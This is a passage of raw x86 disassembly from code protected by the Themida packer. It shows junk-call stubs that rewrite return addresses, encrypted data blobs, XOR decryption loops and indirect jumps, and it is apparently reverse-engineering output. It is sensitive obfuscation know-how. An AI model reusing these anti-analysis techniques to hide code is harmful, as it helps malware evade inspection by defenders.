		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_589143	endp

; ---------------------------------------------------------------------------
		db 59h
		dd 69AAD83Dh, 835712A4h, 840F01F8h, 0FFFFFEF7h,	1870Fh
		dd 83FC0000h, 840F03F8h, 0FFFFFE95h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0CAC35646h,	0BC69122Eh, 74EFDE15h
		dd 9E98DB6h, 0C9000000h, 3058EC7Bh, 0EDCB375Ch,	0EE8C02Bh
		dd 0DF000000h, 55BE4C9Fh, 0C0392031h, 592E337Fh, 8D5AFC9Ah
		dd 5B89E0BDh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 0AF150F5Fh, 382C5ACh
; ---------------------------------------------------------------------------
		jmp	edi
; ---------------------------------------------------------------------------
		stc


loc_5891EB:				; CODE XREF: Themida_:00589132j
		lea	edi, [ebp+0AE34688h]
		sub	[ebp+0AE31579h], ecx
		movsx	edx, di
		jmp	loc_58932D
; ---------------------------------------------------------------------------
		push	eax
		mov	[ebp+0AE31E19h], edi
		pop	ebx


loc_589207:				; CODE XREF: Themida_:00589102j
		cmp	eax, 3
		jnz	loc_58922E
		cld
		lea	edi, [ebp+0AE3481Ch]
		mov	[ebp+0AE33391h], eax
		jmp	loc_58932D
; ---------------------------------------------------------------------------
		jmp	loc_58922E
; ---------------------------------------------------------------------------
		db 0EEh
; ---------------------------------------------------------------------------
		pusha
		inc	edi
		sub	edi, esp
		push	0FFFFFFE6h


loc_58922E:				; CODE XREF: Themida_:0058920Aj
					; Themida_:00589222j
		cmp	eax, 5
		jnz	loc_58926B
		xor	edx, 7026E967h
		jmp	loc_589992
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_58924D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58924D	proc near		; CODE XREF: Themida_:00589245p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_58924D	endp

; ---------------------------------------------------------------------------
		db 0EBh, 0C0h, 31h
; ---------------------------------------------------------------------------
		and	eax, 1FD00377h
		mov	[ebp+0AE31269h], edx


loc_58926B:				; CODE XREF: Themida_:00589231j
		cmp	eax, 6
		jnz	loc_5892D5
		push	0
		push	edi
		call	sub_58927F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58927F	proc near		; CODE XREF: Themida_:00589277p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_58927F	endp

; ---------------------------------------------------------------------------
		db 0D4h
		dd 9561CE16h, 4A14BD8Dh, 8D890AE3h, 0AE31BE1h, 88E9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 3C42253Ah, 0E372C755h, 9D0BAB34h, 0AE32B5Dh,	4CF38166h
; ---------------------------------------------------------------------------
		pop	edx


loc_5892D5:				; CODE XREF: Themida_:0058926Ej
		cmp	eax, 7
		jnz	loc_589302
		pusha
		mov	esi, [ebp+0AE31C29h]
		push	edx
		pop	esi
		popa
		lea	edi, [ebp+0AE30AF1h]
		mov	edx, [ebp+0AE330ADh]
		jmp	loc_5893F4
; ---------------------------------------------------------------------------
		movzx	edx, si
		sub	[ebp+0AE322D1h], eax


loc_589302:				; CODE XREF: Themida_:005892D8j
		cmp	eax, 0Ah
		jnz	loc_58932D
		lea	edi, [ebp+0AE34C0Ch]
		mov	bh, dh
		jmp	loc_58932D
; ---------------------------------------------------------------------------
		pusha
		jmp	loc_589326
; ---------------------------------------------------------------------------
		retf	1225h
; ---------------------------------------------------------------------------
		db 6Eh,	0C2h, 0C5h
		db 58h,	0F3h
; ---------------------------------------------------------------------------


loc_589326:				; CODE XREF: Themida_:00589319j
		xor	ecx, [ebp+0AE32109h]
		popa


loc_58932D:				; CODE XREF: Themida_:005891FAj
					; Themida_:0058921Dj ...
		push	edi
		push	0
		push	ecx
		call	sub_589339
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589339	proc near		; CODE XREF: Themida_:00589331p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_589339	endp

; ---------------------------------------------------------------------------
		db 1Ch,	0E0h, 0B4h
		dd 0C41B24A1h, 600466BBh, 1855BD8Bh, 85890AE3h,	0AE3132Dh
		dd 1A61B961h, 14E838F9h, 0C0000000h, 102FA0F5h,	0E8D85BD1h
		dd 0C04AC2E5h, 0E582AA6h, 607100A5h, 8B66E7B7h,	835A61D9h
		dd 840F003Fh, 42h, 0F305B52h, 2C619D8Bh, 0C9D10AE3h, 47DABF0Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 6CC35747h
		dd 0D045AC2Fh, 81661E21h, 0E9B392EBh, 0FFFFFFBBh, 301D8531h
		dd 6A5F0AE3h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 1B80C355h, 0FC836BB0h
; ---------------------------------------------------------------------------


loc_5893F4:				; CODE XREF: Themida_:005892F4j
		mov	[ebp+0AE34E08h], edi
		push	0
		push	eax
		call	sub_589405
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589405	proc near		; CODE XREF: Themida_:005893FDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_589405	endp

; ---------------------------------------------------------------------------
		ror	dword ptr [esi-6274D2E4h], cl
		mov	ebp, 8D0AE315h
		lea	eax, [ebp+9]
		jecxz	short near ptr loc_58942D+2
		push	0
		push	esi
		call	sub_589430


loc_58942D:				; CODE XREF: Themida_:00589423j
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589430	proc near		; CODE XREF: Themida_:00589428p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_589430	endp

; ---------------------------------------------------------------------------
		xor	eax, [eax-4A002B22h]
		cdq
		adc	bl, ah
		or	cl, [ebp-1A286A7Bh]
		or	dl, [eax-73h]
		mov	ebp, 0AE354FDh
		lea	ecx, [ebp+0AE36F72h]
		mov	eax, 54831ABCh
		sub	ecx, edi


loc_589464:				; CODE XREF: Themida_:0058946Aj
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_589464
		lea	esi, [ebp+0AE36EE0h]
		lea	ecx, [ebp+0AE36F8Ah]
		sub	ecx, edi
		rep movsb
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	short loc_5894CD
		cmp	dword ptr [ebp+0AE314E9h], 0
		jz	short loc_589496
		call	dword ptr [ebp+0AE333B1h]


loc_589496:				; CODE XREF: Themida_:0058948Ej
		mov	esi, [ebp+0AE34E08h]
		lea	eax, [ebp+0AE5D795h]
		call	eax
		lea	eax, [ebp+0AE34413h]
		call	eax
		mov	dword ptr [ebp+0AE32655h], 1
		mov	esp, [ebp+0AE31955h]
		mov	esi, [ebp+0AE31D69h]
		mov	ebp, [ebp+0AE33045h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_5894CD:				; CODE XREF: Themida_:00589485j
		push	0
		push	esi
		call	sub_5894D8
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5894D8	proc near		; CODE XREF: Themida_:005894D0p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5894D8	endp

; ---------------------------------------------------------------------------
		dd 232D50EAh, 0E18D0952h, 660AE328h, 27EFF281h,	40DBD83h
		dd 0F000AE3h, 1884h, 39958B00h,	0FF0AE326h, 0E312C995h
		dd 957600Ah, 0E301D185h, 0F58A590Ah, 21BD8361h,	0AE326h
		dd 1B9850Fh, 95890000h,	0AE330DDh, 2269BD83h, 0F010AE3h
		dd 1A685h, 8C0F6000h, 3, 0E9FE8B66h, 9,	0A1DAA5C8h, 2D3CFA52h
		dd 0BD836117h, 0AE31929h, 80840F00h, 8B000001h,	0E3355995h
		dd 5BBD830Ah, 0AE34Eh, 16D840Fh, 0BF0F0000h, 919D8BDEh
		dd 8D0AE30Ah, 0E5D79585h, 0F810F0Ah, 0E9000000h, 0Ah, 0FD44FF24h
		dd 99345900h, 9589FE89h, 0AE317D5h, 4E08B58Bh, 0B70F0AE3h
		dd 6AD0FFDAh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0B3EFC350h, 0F185C65Bh, 540AE31Ch
		dd 4E8DE8Bh, 0F4000000h, 66FF4EBEh, 5250D38Bh, 8B5BD08Bh
		dd 0E8042444h, 7, 908DE8B0h, 5A387CDEh,	0BB56008Bh, 3F727288h
		dd 2444895Ah, 9CB96004h, 0F1ABEAFh, 486h, 1BBF6600h, 6A5861F1h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 91BCC350h, 3145B5FFh, 958B0AE3h, 0AE33071h
		dd 3AF9858Dh, 6A0AE3h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 660983C3h, 0DBB70F0Ah, 6AD0FFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 89524AC3h, 0E303E5BDh, 6A5A0Ah, 0D278CCBBh, 66FF6A05h
		dd 0D0FFDA8Bh, 0E9D8DB81h, 0D68B3794h, 1CE5B5FFh, 6A0AE3h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 9BCA81C3h, 892B95A0h, 0E2818608h, 1C8019C3h,	67CEC8BBh
		dd 9995FF05h, 8A0AE310h, 0C5958BF8h, 8B0AE32Dh,	0E34E08B5h
		dd 399D8B0Ah, 0C30AE326h, 10699D89h, 0B58B0AE3h, 0AE31A65h
		dd 0FF60BF5h, 0E84h, 919D8B00h,	0C60AE315h, 7CBA0006h
		dd 894F1C5Ah, 0E34E1085h, 5D9D8B0Ah, 830AE32Bh,	840F00F8h
		dd 340h, 9A02BB66h, 0B8h, 0CE900h, 54C20000h, 0A2A439FCh
		dd 3FA352A0h, 0BB666E47h, 0F883A927h, 0D1840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 3DE6C353h, 8B8D308Fh, 0E313FD9Dh,	2F8830Ah
		dd 8C850Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 140424h, 52420000h, 950339C3h, 0AE3315Dh, 858DD08Ah
		dd 0AE3448Bh, 5E860h, 8B50000h,	0F52F462h, 83h,	0BB665A00h
		dd 2D6192D6h, 929h, 32F1B531h, 0F500AE3h, 281h,	89F88A00h
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 71A446C3h, 0F991F929h, 0D08B66E9h, 0BD8960C3h
		dd 0AE32511h, 0A4249ABBh, 0B8615Ah, 81000000h, 0F8FDE7EAh
		dd 24EE923h, 9D8B0000h,	0AE31241h, 1B8h, 0C2816600h, 0BD8DF45Ah
		dd 0AE34490h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 15h,	44C35545h, 0C9E9FCF7h, 8B000000h, 2F883D9h, 3A850Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 88082BC3h, 6919D31h, 0BD8D0AE3h, 0AE34688h
		dd 686515BAh, 8AE934h, 958B0000h, 0AE33385h, 0F03F883h
		dd 6485h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0F3C1361h, 0DE8D8BFh, 99000000h
		dd 4C1E57B5h, 8E7FE56Fh, 797AA610h, 8D5A13B6h, 0E3481CBDh
		dd 51006A0Ah, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 1DE96685h, 1000000h, 0E32265BDh,	5F8830Ah
		dd 0E850Fh, 68BA0000h, 0E910089Ch, 7Ah,	0A6CBA66h, 0A59D0357h
		dd 0B90AE320h, 38F91A61h, 20719D8Bh, 3F830AE3h,	5B840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0A626C357h, 0E90CB6A0h, 0Fh, 57FEF9ECh
		dd 60457C61h, 14710974h, 30C4E3C2h, 0D88B660Fh,	9D8BC9D1h
		dd 0AE31261h, 9E847h, 129C0000h, 43CC081Fh, 5A9C2E2Ch
		dd 0FFFFA1E9h, 502CBAFFh
		db 0E1h, 69h
; ---------------------------------------------------------------------------


loc_589992:				; CODE XREF: Themida_:005890B2j
					; Themida_:0058923Dj
		cmp	eax, 5
		jnz	loc_589A68
		mov	[ebp+0AE31E91h], ecx
		pusha
		jno	loc_5899AE
		mov	[ebp+0AE3148Dh], edx


loc_5899AE:				; CODE XREF: Themida_:005899A2j
		mov	[ebp+0AE318E9h], edi
		popa
		mov	cx, ds
		xor	edx, [ebp+0AE32375h]
		test	cl, 4
		jnz	loc_589A42
		push	0
		push	ebx
		call	sub_5899D2
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5899D2	proc near		; CODE XREF: Themida_:005899CAp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5899D2	endp

; ---------------------------------------------------------------------------
		dw 0E937h
; ---------------------------------------------------------------------------
		mov	ecx, 7BF01AB8h
		add	edx, 3B8E2998h
		push	ebx
		mov	[ebp+0AE323B5h], esi
		pop	edx
		mov	eax, 0
		push	0
		push	edx
		call	sub_589A07
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589A07	proc near		; CODE XREF: Themida_:005899FFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_589A07	endp

; ---------------------------------------------------------------------------
		db 0EBh
		dd 0E9F881ACh, 13h, 0CBD6C508h,	55E1EC52h, 97E517CAh, 2DFAEDB7h
		dd 667F83B5h, 0E9EA88BBh, 2Ch, 21D58D89h
		db 0E3h, 0Ah
; ---------------------------------------------------------------------------


loc_589A42:				; CODE XREF: Themida_:005899C1j
		mov	eax, [ebp+0AE32BC5h]
		sub	ebx, [ebp+0AE31C31h]
		jmp	eax
; ---------------------------------------------------------------------------
		dd 0EE8h, 20512900h, 0D9D6B319h, 7F0B6ECh, 66320050h, 5A022EBAh
; ---------------------------------------------------------------------------


loc_589A68:				; CODE XREF: Themida_:00588F4Fj
					; Themida_:00589995j
		cmp	dword ptr [ebp+0AE31099h], 0
		jnz	loc_589B5B
		mov	dx, 7AC6h
		nop
		mov	ebx, edi
		push	eax
		mov	ebx, edi
		nop
		push	0
		push	edi
		call	sub_589A8B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589A8B	proc near		; CODE XREF: Themida_:00589A83p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_589A8B	endp

; ---------------------------------------------------------------------------
		db 0FBh
		dd 66333754h, 0E930AC0Ch, 11h, 0D8D4C496h, 573E53Bh, 17339655h
		dd 0DE930DD4h, 0C6D68B1Dh, 0E31CF185h, 99BA450Ah, 0E860781Dh
		dd 4, 8E726969h, 0ADA27ABAh, 0BB66501Eh, 448BB4ECh, 66500424h
		dd 5AE9A1BAh, 8D0F008Bh, 10h, 8E860h, 7FF80000h, 7975623Bh
		dd 615BE2A4h, 4244489h,	5AD88B53h, 5E958h, 57610000h, 0FFAF766Ah
		dd 0E33145B5h, 68D2810Ah, 812189C9h, 0B02638F3h, 0F9858D27h
		dd 6A0AE33Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 8ECCC356h, 2FFF8FBBh, 0FCD0FF0Bh
		dd 10998589h, 0DA8B0AE3h, 799D8B58h
		db 19h,	0E3h, 0Ah
; ---------------------------------------------------------------------------


loc_589B5B:				; CODE XREF: Themida_:00589A6Fj
		cmp	dword ptr [ebp+0AE34E5Fh], 0
		jz	loc_589BD8
		jmp	loc_589B72
; ---------------------------------------------------------------------------
		db 5Ch,	77h, 0B0h
; ---------------------------------------------------------------------------
		mov	bh, 8Ch


loc_589B72:				; CODE XREF: Themida_:00589B68j
		sub	[ebp+0AE32625h], edx
		push	dword ptr [ebp+0AE31CE5h]
		sub	edx, 31EA3C7Eh
		call	dword ptr [ebp+0AE31099h]
		push	0
		push	edi
		call	sub_589B95
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589B95	proc near		; CODE XREF: Themida_:00589B8Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_589B95	endp

; ---------------------------------------------------------------------------
		db 5Eh,	0F4h, 2Eh
		dd 12E8h, 0FC33B500h, 7F55846Eh, 0D448A6BEh, 67384E7Ch
		dd 0FE05D82h, 688h, 1D958B00h, 5B0AE31Dh, 68E0Fh, 958B0000h
		dd 0AE32941h
; ---------------------------------------------------------------------------


loc_589BD8:				; CODE XREF: Themida_:00589B62j
		cmp	eax, 0
		jnz	loc_589CE6
		mov	edx, [ebp+0AE3261Dh]
		cmp	dword ptr [ebp+0AE321E5h], 0
		jz	loc_589C66
		mov	[ebp+0AE31F59h], ebx
		push	dword ptr [ebp+0AE321E5h]
		mov	[ebp+0AE31889h], esi
		pusha
		or	di, 4E4Fh
		pusha
		mov	edi, 71EF3634h
		popa
		popa
		mov	eax, 1
		push	0
		push	esi
		call	sub_589C24
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589C24	proc near		; CODE XREF: Themida_:00589C1Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_589C24	endp

; ---------------------------------------------------------------------------
		movsb
		leave
		mov	esp, [esi]
		or	eax, 0B13ED15Dh
		mov	ebx, 4968037Fh
		mov	[ebp+0AE323BDh], edi
		jmp	loc_589E6D
; ---------------------------------------------------------------------------
		jmp	loc_589C66
; ---------------------------------------------------------------------------
		dw 141Eh
		dd 5EE902B1h, 1555FA45h, 93B167FDh, 0B675D182h
		db 0Fh,	2
; ---------------------------------------------------------------------------


loc_589C66:				; CODE XREF: Themida_:00589BEEj
					; Themida_:00589C4Dj
		push	dword ptr [ebp+0AE31CE5h]
		push	0
		push	edi
		call	sub_589C77
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589C77	proc near		; CODE XREF: Themida_:00589C6Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_589C77	endp

; ---------------------------------------------------------------------------
		wait
		push	edi
		mov	edx, [ebp+0AE319C9h]
		pop	edx
		mov	[ebp+0AE32651h], edx
		push	dword ptr [ebp+0AE31CE5h]
		push	0
		push	ecx
		call	sub_589CA7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589CA7	proc near		; CODE XREF: Themida_:00589C9Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_589CA7	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0E53097D8h, 8E8CA9Ah, 54000000h, 7C7386CFh, 80B5ACFFh
		dd 0FF5B72F7h, 0E31099B5h, 498D290Ah, 0E90AE307h, 18Dh
		dd 21A59D8Bh
; ---------------------------------------------------------------------------
		jecxz	short loc_589CF0


loc_589CE6:				; CODE XREF: Themida_:00589BDBj
		pop	edi
		mov	bl, dh
		cmp	dword ptr [ebp+0AE31F55h], 0


loc_589CF0:				; CODE XREF: Themida_:00589CE4j
		jnz	loc_589DB4
		push	0
		push	eax
		call	sub_589D01
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589D01	proc near		; CODE XREF: Themida_:00589CF9p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_589D01	endp

; ---------------------------------------------------------------------------
		imul	ecx, ebx, 11h
		dec	ecx
		lea	esp, [edi+41h]
		clc
		lodsd
		jmp	loc_589D2A
; ---------------------------------------------------------------------------
		db 0DBh
		dd 0A79A334h, 3C799DBDh
		db 5Ah,	3
; ---------------------------------------------------------------------------


loc_589D2A:				; CODE XREF: Themida_:00589D1Aj
		mov	byte ptr [ebp+0AE31CF1h], 4Dh
		sub	[ebp+0AE32E71h], ebx
		push	6DC00C9Dh
		mov	edx, eax
		add	dword ptr [esp], 36756A0Bh
		push	0
		push	ebp
		call	sub_589D50
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589D50	proc near		; CODE XREF: Themida_:00589D48p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_589D50	endp

; ---------------------------------------------------------------------------
		sub	cl, [ebx-1CD3A663h]
		or	bh, bh
		mov	ch, 65h
		xor	eax, 6A0AE3h
		push	esi
		call	sub_589D78
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589D78	proc near		; CODE XREF: Themida_:00589D70p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_589D78	endp

; ---------------------------------------------------------------------------
		sub	edi, [ebx-2Ah]
		jno	short loc_589DF3
		mov	edx, edi
		lea	eax, [ebp+0AE33AF9h]
		sub	[ebp+0AE326A5h], edx
		call	eax
		mov	edx, 48A807EDh
		mov	[ebp+0AE31F55h], eax
		mov	ebx, [ebp+0AE3063Dh]
		add	[ebp+0AE30A95h], eax


loc_589DB4:				; CODE XREF: Themida_:loc_589CF0j
		mov	eax, 0
		push	0
		push	ebx
		call	sub_589DC4
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589DC4	proc near		; CODE XREF: Themida_:00589DBCp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_589DC4	endp

; ---------------------------------------------------------------------------
		dd 43B0C371h, 0C2E1C3B0h, 0BD89FCEEh, 0AE34E08h, 0E850006Ah
		dd 3, 58C35820h
		db 89h,	44h, 24h
; ---------------------------------------------------------------------------


loc_589DF3:				; CODE XREF: Themida_:00589D8Bj
		add	al, 81h
		inc	esp
		and	al, 4
		push	ss
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		db 0F4h
; ---------------------------------------------------------------------------
		inc	eax
		ficom	word ptr [eax-77h]
		test	[ecx+5B0AE326h], ecx
		mov	dx, si
		or	eax, eax
		jz	loc_589E48
		push	0
		push	ebx
		call	sub_589E20
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589E20	proc near		; CODE XREF: Themida_:00589E18p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_589E20	endp

; ---------------------------------------------------------------------------
		dd 3758B9C9h, 0EA8166D7h, 2EE97162h, 89000000h,	0E3153185h
		dd 0D2BF0F0Ah
; ---------------------------------------------------------------------------


loc_589E48:				; CODE XREF: Themida_:00589E0Fj
		push	dword ptr [ebp+0AE31099h]
		mov	dx, di
		lea	eax, [ebp+0AE5D795h]
		jge	loc_589E5F
		mov	dh, 68h


loc_589E5F:				; CODE XREF: Themida_:00589E57j
		mov	ebx, eax
		nop
		mov	edx, 27EDE95Bh
		push	eax
		mov	bh, 0D5h
		nop
		push	edx
		pop	ebx


loc_589E6D:				; CODE XREF: Themida_:00589C48j
		push	eax
		push	esi
		lea	edi, [ebp+0AE354FDh]
		lea	ecx, [ebp+0AE37990h]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_589E82:				; CODE XREF: Themida_:00589E88j
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_589E82
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+0AE321E5h], 0
		jz	short loc_589E9B
		mov	ecx, [ebp+0AE30015h]


loc_589E9B:				; CODE XREF: Themida_:00589E93j
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_589F52
		cmp	dword ptr [ebp+0AE314E9h], 0
		jz	short loc_589EB9
		call	dword ptr [ebp+0AE333B1h]


loc_589EB9:				; CODE XREF: Themida_:00589EB1j
		mov	eax, 0
		or	eax, eax
		jnz	short loc_589ECB
		cmp	dword ptr [ebp+0AE34E10h], 1
		jz	short loc_589ED4


loc_589ECB:				; CODE XREF: Themida_:00589EC0j
		cmp	dword ptr [ebp+0AE34E10h], 2
		jnz	short loc_589EE2


loc_589ED4:				; CODE XREF: Themida_:00589EC9j
		mov	esi, [ebp+0AE34E08h]
		lea	eax, [ebp+0AE5D795h]
		call	eax


loc_589EE2:				; CODE XREF: Themida_:00589ED2j
		cmp	dword ptr [ebp+0AE3040Dh], 0
		jz	short loc_589EF1
		call	dword ptr [ebp+0AE312C9h]


loc_589EF1:				; CODE XREF: Themida_:00589EE9j
		lea	eax, [ebp+0AE34413h]
		call	eax
		cmp	dword ptr [ebp+0AE31565h], 2
		jnz	short loc_589F31
		mov	esp, [ebp+0AE31955h]
		mov	eax, [ebp+0AE321E5h]
		mov	[esp], eax
		mov	dword ptr [ebp+0AE32655h], 1
		mov	esi, [ebp+0AE34E0Ch]
		mov	ebp, [ebp+0AE33045h]
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short $+2


loc_589F31:				; CODE XREF: Themida_:00589F00j
		mov	dword ptr [ebp+0AE32655h], 1
		mov	esp, [ebp+0AE31955h]
		mov	esi, [ebp+0AE31D69h]
		mov	ebp, [ebp+0AE33045h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_589F52:				; CODE XREF: Themida_:00589EA4j
		cmp	dword ptr [ebp+0AE3040Dh], 0
		jz	short loc_589F6A
		cmp	dword ptr [ebp+0AE312C9h], 0
		jz	short loc_589F6A
		call	dword ptr [ebp+0AE312C9h]


loc_589F6A:				; CODE XREF: Themida_:00589F59j
					; Themida_:00589F62j
		mov	esi, [ebp+0AE34E08h]
		retn
; ---------------------------------------------------------------------------
		mov	edx, 7ADF231Dh
		push	0
		push	eax
		call	sub_589F81
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589F81	proc near		; CODE XREF: Themida_:00589F79p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_589F81	endp

; ---------------------------------------------------------------------------
		push	esi
		inc	edx
		pusha
		mov	eax, edx
		jmp	loc_589FA4
; ---------------------------------------------------------------------------
		db 33h
		dd 0AA51537Dh, 0F2FC7718h
; ---------------------------------------------------------------------------


loc_589FA4:				; CODE XREF: Themida_:00589F96j
		popa
		sub	edx, edx
		jnb	loc_589FAF
		mov	bl, ch


loc_589FAF:				; CODE XREF: Themida_:00589FA7j
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_589FBF
; ---------------------------------------------------------------------------


loc_589FBD:				; CODE XREF: Themida_:00589FC2j
		inc	eax
		inc	edi


loc_589FBF:				; CODE XREF: Themida_:00589FBBj
		cmp	byte ptr [edi],	0
		jnz	short loc_589FBD
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_589FEE
; ---------------------------------------------------------------------------


loc_589FCB:				; CODE XREF: Themida_:00589FF0j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_589FE3
; ---------------------------------------------------------------------------


loc_589FE0:				; CODE XREF: Themida_:00589FE6j
		mul	ebx
		dec	esi


loc_589FE3:				; CODE XREF: Themida_:00589FDEj
		cmp	esi, 0
		ja	short loc_589FE0
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_589FEE:				; CODE XREF: Themida_:00589FC9j
		or	eax, eax
		jnz	short loc_589FCB
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		movsx	ebx, cx
		jl	loc_58A00B
		xor	[ebp+0AE316A5h], edi


loc_58A00B:				; CODE XREF: Themida_:00589FFFj
		mov	eax, ecx
		jmp	loc_58A1BF
